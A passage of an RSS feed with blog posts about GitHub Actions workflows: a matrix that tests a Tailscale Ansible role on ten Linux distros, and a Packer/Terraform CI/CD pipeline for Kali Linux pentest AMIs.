  My Workflow
&lt;/h3&gt;

&lt;p&gt;I am a big fan of &lt;a href="https://tailscale.com/"&gt;Tailscale&lt;/a&gt; for a &lt;a href="https://www.wireguard.com/"&gt;Wireguard&lt;/a&gt; VPN mesh. Some months ago, someone &lt;a href="https://github.com/tailscale/tailscale/issues/270"&gt;requested that Tailscale support&lt;/a&gt; an &lt;a href=""&gt;Ansible Galaxy&lt;/a&gt; role to set up a Tailscale node. I saw the &lt;code&gt;help wanted&lt;/code&gt; tag and knew what I must do.&lt;/p&gt;

&lt;p&gt;However, Tailscale supports a large number of operating systems, and I wanted my Tailscale Ansible role to support everything that Tailscale supports. I needed a CI workflow that would test all those systems in parallel whenever I created a new PR.&lt;/p&gt;

&lt;p&gt;I still have a few operating systems to add support for (dreading Windows and OSX for the CI difficulties they present), but I currently run tests against 10 operating systems in parallel using a GitHub Action workflow to spawn dynamic Action jobs that each run Molecule against a single system. This leverages a &lt;a href="https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix"&gt;GitHub Action matrix&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Submission Category:
&lt;/h3&gt;

&lt;p&gt;Maintainer Must-Haves&lt;/p&gt;

&lt;h3&gt;
  
  
  Yaml File or Link to Code
&lt;/h3&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vJ70wriM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/github-logo-ba8488d21cd8ee1fee097b8410db9deaa41d0ca30b004c0c63de0a479114156f.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/artis3n"&gt;
        artis3n
      &lt;/a&gt; / &lt;a href="https://github.com/artis3n/ansible-role-tailscale"&gt;
        ansible-role-tailscale
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Ansible role to install and enable a Tailscale node.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;h1&gt;
artis3n.tailscale&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://github.com/artis3n/ansible-role-tailscale/actions"&gt;&lt;img src="https://camo.githubusercontent.com/5dc5d4f73fd39c7bd68baa168a14f1278d650448a8da2b30056a414c37c4a603/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f776f726b666c6f772f7374617475732f6172746973336e2f616e7369626c652d726f6c652d7461696c7363616c652f434925323054657374732f6d6173746572" alt="GitHub Workflow Status (branch)"&gt;&lt;/a&gt;
&lt;a href="https://github.com/artis3n/ansible-role-tailscale/releases"&gt;&lt;img src="https://camo.githubusercontent.com/b0e6ad071c079a1f2cdc63fa5b022fbbf6966d1ed02d74ea0d98e25dc9b6ea76/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f762f72656c656173652f6172746973336e2f616e7369626c652d726f6c652d7461696c7363616c653f696e636c7564655f70726572656c6561736573" alt="GitHub release (latest SemVer including pre-releases)"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/58b9ad35df451cdbb805e2927bab16cf3a143dc7b9fb8f8debff36bcfaf7a6c6/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6173742d636f6d6d69742f6172746973336e2f616e7369626c652d726f6c652d7461696c7363616c65"&gt;&lt;img src="https://camo.githubusercontent.com/58b9ad35df451cdbb805e2927bab16cf3a143dc7b9fb8f8debff36bcfaf7a6c6/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6173742d636f6d6d69742f6172746973336e2f616e7369626c652d726f6c652d7461696c7363616c65" alt="GitHub last commit"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/cb48fb0f5ea8be12d3c31b9c2b1ed141bce3ab072d4ca4d33f4f458168bc3c09/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6172746973336e2f616e7369626c652d726f6c652d7461696c7363616c65"&gt;&lt;img src="https://camo.githubusercontent.com/cb48fb0f5ea8be12d3c31b9c2b1ed141bce3ab072d4ca4d33f4f458168bc3c09/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6172746973336e2f616e7369626c652d726f6c652d7461696c7363616c65" alt="GitHub"&gt;&lt;/a&gt;
&lt;a href="https://github.com/artis3n/"&gt;&lt;img src="https://camo.githubusercontent.com/22383d5c4f8bdf7b72cec290ba03f54922dbe5742aa8a24bb0a253e86d0bce0e/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f666f6c6c6f776572732f6172746973336e3f7374796c653d736f6369616c" alt="GitHub followers"&gt;&lt;/a&gt;
&lt;a href="https://twitter.com/Artis3n" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/02e387660ca64c1cb75acd4b0993f129d2e77d0e675ab40097464628b9a1b64e/68747470733a2f2f696d672e736869656c64732e696f2f747769747465722f666f6c6c6f772f6172746973336e3f7374796c653d736f6369616c" alt="Twitter Follow"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This role initializes a &lt;a href="https://tailscale.com/" rel="nofollow"&gt;Tailscale&lt;/a&gt; node.&lt;/p&gt;
&lt;p&gt;Find supported operating systems on this role's &lt;a href="https://galaxy.ansible.com/artis3n/tailscale" rel="nofollow"&gt;Ansible Galaxy page&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;
Requirements&lt;/h2&gt;
&lt;p&gt;You must supply a &lt;code&gt;tailscale_auth_key&lt;/code&gt; variable, which can be generated under your Tailscale account at &lt;a href="https://login.tailscale.com/admin/authkeys" rel="nofollow"&gt;https://login.tailscale.com/admin/authkeys&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;
Role Variables&lt;/h2&gt;
&lt;h3&gt;
tailscale_auth_key&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Required&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;An &lt;a href="https://docs.ansible.com/ansible/latest/user_guide/vault.html#encrypt-string-for-use-in-yaml" rel="nofollow"&gt;ansible-vault encrypted variable&lt;/a&gt; containing a Tailscale Node Authorization auth key.&lt;/p&gt;
&lt;p&gt;A Node Authorization auth key can be generated under your Tailscale account at &lt;a href="https://login.tailscale.com/admin/authkeys" rel="nofollow"&gt;https://login.tailscale.com/admin/authkeys&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Encrypt this variable with the following command:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell js-code-highlight"&gt;
&lt;pre&gt;ansible-vault encrypt_string --vault-id tailscale@.ci-vault-pass &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;'&lt;/span&gt;[AUTH KEY VALUE HERE]&lt;span class="pl-pds"&gt;'&lt;/span&gt;&lt;/span&gt; --name &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;'&lt;/span&gt;tailscale_auth_key&lt;span class="pl-pds"&gt;'&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;See &lt;a href="https://docs.ansible.com/ansible/latest/user_guide/vault.html#encrypt-string-for-use-in-yaml" rel="nofollow"&gt;Ansible's documentation&lt;/a&gt; for an explanation of the &lt;code&gt;ansible-vault encrypt_string&lt;/code&gt; command syntax.&lt;/p&gt;
&lt;h3&gt;
release_stability&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Default&lt;/strong&gt;: &lt;code&gt;stable&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Whether to use the Tailscale stable or unstable track.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;stable&lt;/code&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Stable releases. If you're not sure which track to use, pick this one.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;unstable&lt;/code&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The bleeding edge. Pushed early and often. Expect rough edges!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
tailscale_args&lt;/h3&gt;
&lt;p&gt;Pass any additional command-line arguments to &lt;code&gt;tailscale up&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Note…&lt;/p&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/artis3n/ansible-role-tailscale"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;The Ansible role can be found on Ansible Galaxy &lt;a href="https://galaxy.ansible.com/artis3n/tailscale"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The key for this GitHub Action matrix workflow to work is the following setup in my &lt;code&gt;molecule.yml&lt;/code&gt; file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;platforms&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;instance&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${MOLECULE_DISTRO:-geerlingguy/docker-centos7-ansible:latest}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From there, I can set up which systems to run Molecule against with a matrix:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;molecule&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;

    &lt;span class="na"&gt;strategy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;matrix&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;distros&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;geerlingguy/docker-centos7-ansible:latest&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;geerlingguy/docker-centos8-ansible:latest&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;geerlingguy/docker-amazonlinux2-ansible:latest&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;geerlingguy/docker-ubuntu2004-ansible:latest&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;geerlingguy/docker-ubuntu1804-ansible:latest&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;geerlingguy/docker-ubuntu1604-ansible:latest&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;geerlingguy/docker-debian10-ansible:latest&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;geerlingguy/docker-debian9-ansible:latest&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;geerlingguy/docker-fedora31-ansible:latest&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;artis3n/docker-arch-ansible:latest&lt;/span&gt;
      &lt;span class="na"&gt;fail-fast&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="no"&gt;false&lt;/span&gt;

    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Important!&lt;/strong&gt; - You don't want to forget &lt;code&gt;fail-fast: false&lt;/code&gt;.&lt;br&gt;
This stops the action workflow from stopping whenever a single job fails. We want each spawned job to run in isolation from the others, so we can independently see which systems are good and which have issues.&lt;/p&gt;

&lt;p&gt;Then, we just need a single job definition that uses the &lt;code&gt;distro&lt;/code&gt; matrix variable. GitHub Actions will automatically spawn a job for each item in the &lt;code&gt;matrix&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Molecule&lt;/span&gt;
        &lt;span class="s"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "${{ secrets.VAULT_PASS }}" &amp;gt; /home/runner/work/_temp/.vault-ci-pass &amp;amp;&amp;amp; ANSIBLE_VAULT_PASSWORD_FILE=/home/runner/work/_temp/.vault-ci-pass pipenv run molecule test&lt;/span&gt;
        &lt;span class="s"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;MOLECULE_DISTRO&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;${{&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;matrix.distros&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;}}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This spawns a job for each matrix distribution:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--1htFpmnr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/pudi5phhoo9rrko1b40u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--1htFpmnr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/pudi5phhoo9rrko1b40u.png" alt="Actions workflow 10 spawned jobs"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Additional Resources / Info
&lt;/h3&gt;

</description>
      <category>actionshackathon</category>
      <category>ansible</category>
      <category>molecule</category>
    </item>
    <item>
      <title>True CI/CD Pipeline for "Golden Image" AMIs</title>
      <dc:creator>Ari Kalfus</dc:creator>
      <pubDate>Thu, 13 Aug 2020 23:23:24 +0000</pubDate>
      <link>https://forem.com/artis3n/true-ci-cd-pipeline-for-golden-image-amis-4p39</link>
      <guid>https://forem.com/artis3n/true-ci-cd-pipeline-for-golden-image-amis-4p39</guid>
      <description>&lt;p&gt;From a comment on the announcement article:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;For this contest, you'll only be able to submit projects that you started after this announcement post was published.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Well, I guess I am disqualified. But, leaving this post up as a resource for anyone that may like it.&lt;/p&gt;

&lt;h3&gt;
  
  
  My Workflow
&lt;/h3&gt;

&lt;p&gt;I have a process that creates custom AMIs as a "&lt;a href="https://opensource.com/article/19/7/what-golden-image"&gt;golden image&lt;/a&gt;" and provisions infrastructure using Terraform for custom penetration testing resources in AWS. This workflow can be used for any type of image, however!&lt;/p&gt;

&lt;p&gt;I leverage &lt;a href="https://www.packer.io/"&gt;Packer&lt;/a&gt; with &lt;a href="https://github.com/ansible/ansible"&gt;Ansible&lt;/a&gt; provisioners to build an EC2 image, then have Packer freeze that server into an AMI image. I use &lt;a href="https://github.com/ansible-community/molecule"&gt;Molecule&lt;/a&gt; and Terraform Plan (using a free &lt;a href="https://www.terraform.io/docs/cloud/index.html"&gt;Terraform Cloud&lt;/a&gt; account and Hashicorp's &lt;a href="https://www.terraform.io/docs/github-actions/setup-terraform.html"&gt;Terraform GitHub Action&lt;/a&gt;) to test PRs. Merges to main trigger Packer builds that create a new AMI in my AWS account. &lt;a href="https://www.terraform.io/"&gt;Terraform&lt;/a&gt; then runs and creates new infrastructure based off of the new AMI.&lt;/p&gt;

&lt;h3&gt;
  
  
  Submission Category:
&lt;/h3&gt;

&lt;p&gt;DIY Deployments&lt;/p&gt;

&lt;h3&gt;
  
  
  Yaml File or Link to Code
&lt;/h3&gt;

&lt;p&gt;The repo where this is all contained is:&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vJ70wriM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/github-logo-ba8488d21cd8ee1fee097b8410db9deaa41d0ca30b004c0c63de0a479114156f.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/artis3n"&gt;
        artis3n
      &lt;/a&gt; / &lt;a href="https://github.com/artis3n/cloud-hackbox"&gt;
        cloud-hackbox
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Create custom AMIs with Packer and Ansible to enable rapid provisioning of offensive infrastructure in AWS using Terraform.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;h1&gt;
cloud-hackbox&lt;/h1&gt;
&lt;p&gt;A repository to build and provision custom pentest resources in AWS.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/artis3n/cloud-hackbox/actions"&gt;&lt;img src="https://camo.githubusercontent.com/d5ec5b382fde88beddc8f4ae02905b0187812da5d5e47c3d4994727f62550416/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f776f726b666c6f772f7374617475732f6172746973336e2f636c6f75642d6861636b626f782f43493f6c6162656c3d5465737473" alt="GitHub Workflow Status"&gt;&lt;/a&gt;
&lt;a href="https://github.com/artis3n/cloud-hackbox/actions"&gt;&lt;img src="https://camo.githubusercontent.com/742ed0179540c822365911dc7f3582f20c43d6aa9d964f97682fef57d9cdc04c/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f776f726b666c6f772f7374617475732f6172746973336e2f636c6f75642d6861636b626f782f4275696c643f6c6162656c3d5061636b65722532304275696c64" alt="GitHub Workflow Status"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/83076a8437fe047bd69b7bf873d9b64161d64c03de2d8551816ec79ab11e83cd/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6173742d636f6d6d69742f6172746973336e2f636c6f75642d6861636b626f78"&gt;&lt;img src="https://camo.githubusercontent.com/83076a8437fe047bd69b7bf873d9b64161d64c03de2d8551816ec79ab11e83cd/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6173742d636f6d6d69742f6172746973336e2f636c6f75642d6861636b626f78" alt="GitHub last commit"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/66e9fe2137dd61908e44ab6c1d5bf30c14e41f7431317425dcd598e242167a98/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6172746973336e2f636c6f75642d6861636b626f78"&gt;&lt;img src="https://camo.githubusercontent.com/66e9fe2137dd61908e44ab6c1d5bf30c14e41f7431317425dcd598e242167a98/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6172746973336e2f636c6f75642d6861636b626f78" alt="GitHub"&gt;&lt;/a&gt;
&lt;a href="https://github.com/artis3n/"&gt;&lt;img src="https://camo.githubusercontent.com/22383d5c4f8bdf7b72cec290ba03f54922dbe5742aa8a24bb0a253e86d0bce0e/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f666f6c6c6f776572732f6172746973336e3f7374796c653d736f6369616c" alt="GitHub followers"&gt;&lt;/a&gt;
&lt;a href="https://twitter.com/Artis3n" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/02e387660ca64c1cb75acd4b0993f129d2e77d0e675ab40097464628b9a1b64e/68747470733a2f2f696d672e736869656c64732e696f2f747769747465722f666f6c6c6f772f6172746973336e3f7374796c653d736f6369616c" alt="Twitter Follow"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://raw.githubusercontent.com/artis3n/cloud-hackbox/main/docs/kali-packer.gif"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--tANBXW1q--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://raw.githubusercontent.com/artis3n/cloud-hackbox/main/docs/kali-packer.gif" width="45%" height="45%"&gt;&lt;/a&gt; &lt;a rel="noopener noreferrer" href="https://raw.githubusercontent.com/artis3n/cloud-hackbox/main/docs/kali-terraform.gif"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--qIFGfgHA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://raw.githubusercontent.com/artis3n/cloud-hackbox/main/docs/kali-terraform.gif" width="45%" height="45%"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Supported hackboxes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kali Linux&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Additional desired hackboxes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ParrotOS&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
Setup&lt;/h2&gt;
&lt;div class="highlight highlight-source-shell js-code-highlight"&gt;
&lt;pre&gt;pip install pipenv
&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Installs Terraform, Packer, and Pipenv dependencies (e.g. Ansible)&lt;/span&gt;
make install
&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; If you want to run Molecule tests&lt;/span&gt;
pipenv install --dev
&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Set your AWS credentials&lt;/span&gt;
&lt;span class="pl-k"&gt;export&lt;/span&gt; AWS_ACCESS_KEY_ID=
&lt;span class="pl-k"&gt;export&lt;/span&gt; AWS_SECRET_ACCESS_KEY=...
&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; If you have default or ephemeral credentials saved in ~/.aws/credentials you can forego these env vars&lt;/span&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Then choose a hackbox and follow the instructions to build and provision it.&lt;/p&gt;
&lt;h2&gt;
Hackboxes&lt;/h2&gt;
&lt;h3&gt;
Kali Linux AMI&lt;/h3&gt;
&lt;p&gt;Packer file: &lt;code&gt;kali/kali-ami.json&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Builds a Kali Linux AMI with the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Updates all packages on the system&lt;/li&gt;
&lt;li&gt;Installs and configures a number of frequently used packages
&lt;ul&gt;
&lt;li&gt;See the &lt;a href="https://raw.githubusercontent.com/artis3n/cloud-hackbox/main/kali/ansible/variables.yml"&gt;full list&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This AMI also pre-configures &lt;a href="https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-18-04" rel="nofollow"&gt;UFW&lt;/a&gt;.
The following UFW rules are pre-configured:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;deny all incoming&lt;/li&gt;
&lt;li&gt;allow all outgoing&lt;/li&gt;
&lt;li&gt;enable ssh on tcp/22 with brute force mitigation (&lt;code&gt;ufw limit&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/artis3n/cloud-hackbox"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Let's step through the 2 workflows I use for this smooth CI/CD process.&lt;/p&gt;

&lt;h4&gt;
  
  
  CI
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://github.com/artis3n/cloud-hackbox/blob/main/.github/workflows/ci.yml"&gt;https://github.com/artis3n/cloud-hackbox/blob/main/.github/workflows/ci.yml&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The CI workflow runs &lt;code&gt;molecule&lt;/code&gt; to ensure any changes to the Ansible playbook for the AMI work and &lt;code&gt;terraform&lt;/code&gt; to ensure any changes to that code results in the infrastructure that you expect. PRs must pass both checks before they can be merged.&lt;/p&gt;

&lt;h4&gt;
  
  
  CD
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://github.com/artis3n/cloud-hackbox/blob/main/.github/workflows/build.yml"&gt;https://github.com/artis3n/cloud-hackbox/blob/main/.github/workflows/build.yml&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In this workflow file, I build the new AMI with Packer and deploy it to my AWS account whenever new code is merged to main. I do not run Terraform afterward in this file because my use case is on-demand infrastructure in the future, but this can be accomplished with the following addition:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Packer build&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;packer build kali/kali-ami.json&lt;/span&gt;
  &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;AWS_MAX_ATTEMPTS&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;90&lt;/span&gt;
      &lt;span class="na"&gt;AWS_POLL_DELAY_SECONDS&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;
      &lt;span class="na"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ secrets.AWS_ACCESS_KEY_ID }}&lt;/span&gt;
      &lt;span class="na"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ secrets.AWS_SECRET_ACCESS_KEY }}&lt;/span&gt;

&lt;span class="c1"&gt;# New steps&lt;/span&gt;

&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;hashicorp/setup-terraform@v1&lt;/span&gt;
  &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;cli_config_credentials_token&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ secrets.TF_API_TOKEN }}&lt;/span&gt;

&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Init&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cd kali/terraform &amp;amp;&amp;amp; terraform init&lt;/span&gt;

&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Provision&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cd kali/terraform &amp;amp;&amp;amp; terraform apply -auto-approve&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can be confident about the &lt;code&gt;-auto-approve&lt;/code&gt; as we have reviewed any changes in the plan during the PR review process.&lt;/p&gt;

&lt;h3&gt;
  
  
  Additional Resources / Info
&lt;/h3&gt;

</description>
      <category>actionshackathon</category>
      <category>packer</category>
      <category>ansible</category>
      <category>terraform</category>
    </item>
    <item>
      <title>Automatically Deploy Your Ansible Galaxy Collections</title>
      <dc:creator>Ari Kalfus</dc:creator>
      <pubDate>Thu, 13 Aug 2020 22:49:58 +0000</pubDate>
      <link>https://forem.com/artis3n/automatically-deploy-your-ansible-galaxy-collections-5214</link>
      <guid>https://forem.com/artis3n/automatically-deploy-your-ansible-galaxy-collections-5214</guid>
      <description>&lt;p&gt;From a comment on the announcement article:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;For this contest, you'll only be able to submit projects that you started after this announcement post was published.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Well, I guess I am disqualified. But, leaving this post up as a resource for anyone that may like it.&lt;/p&gt;

&lt;h3&gt;
  
  
